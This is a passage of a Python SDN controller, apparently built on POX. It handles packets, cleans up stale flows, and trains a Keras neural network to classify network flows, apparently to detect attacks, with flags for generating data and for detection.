225 | for flow in self.flows.values():
226 | if (current_time - flow.time_last_used) > self.clean_interval:
227 | del_indices.append(str(flow))
228 | for del_index in del_indices:
229 | del self.flows[del_index]
230 |
231 | def _handle_PacketIn(self, event):
232 | '''
233 | Handle a packet in
234 | :param event Event that triggered this
235 | '''
236 | packet = event.parsed
237 | if not packet.parsed:
238 | LOG.warning("Ignoring incomplete packet")
239 | else:
240 | packet_in = event.ofp
241 | self.act_like_switch(packet, packet_in)
242 |
243 |
244 | def launch():
245 | '''
246 | Launch this controller
247 | '''
248 | def start_switch(event):
249 | '''
250 | Start up the swithc
251 | :param event Event that triggered this
252 | '''
253 | LOG.debug("Controlling %s with this", (event.connection,))
254 | Controller(
255 | event.connection,
256 | "--gen-data" in sys.argv,
257 | 1 if "--attack" in sys.argv else 0,
258 | "--detect" in sys.argv
259 | )
260 | core.openflow.addListenerByName("ConnectionUp", start_switch)
261 |
262 | def dense_norm_dropout(x):
263 | x = keras.layers.Dense(100, activation=tf.nn.relu)(x)
264 | x = keras.layers.BatchNormalization()(x)
265 | return keras.layers.Dropout(0.5)(x)
266 |
267 | if __name__ == '__main__':
268 | if "--train" in sys.argv:
269 | data, lbls = (lambda x: (x[:, :6], x[:, 6]))(np.loadtxt("training_data.txt"))
270 | labels = np.array([[1, 0] if l == 0 else [0, 1] for l in lbls])
271 | inputs = keras.Input(shape=(6,))
272 | x = keras.layers.Dense(100, activation=tf.nn.relu)(inputs)
273 | x = dense_norm_dropout(x)
274 | x = dense_norm_dropout(x)
275 | x = keras.layers.Dense(100, activation=tf.nn.relu)(x)
276 | outputs = keras.layers.Dense(2, activation=tf.nn.softmax)(x)
277 | model = keras.Model(inputs=inputs, outputs=outputs)
278 | model.compile(
279 | optimizer="Adam",
280 | loss=keras.losses.BinaryCrossentropy(),
281 | metrics=["accuracy"]
282 | )
283 | history = model.fit(
284 | x=data,
285 | y=labels,
286 | epochs=500,
287 | verbose=1,
288 | validation_split=0.2,
289 | callbacks=[keras.callbacks.EarlyStopping(patience=3)]
290 | )
291 | print(f"Reached loss: {history.history['loss'][-1]}")
292 | fn = "model.h5"
293 | model.save(fn)
294 | print(f"Saved model as {fn}")
295 | else:
296 | boot(
297 | (["log.level", "--DEBUG"] if "--debug" in sys.argv else []) +
298 | ["network_controller"]
299 | )
300 |
--------------------------------------------------------------------------------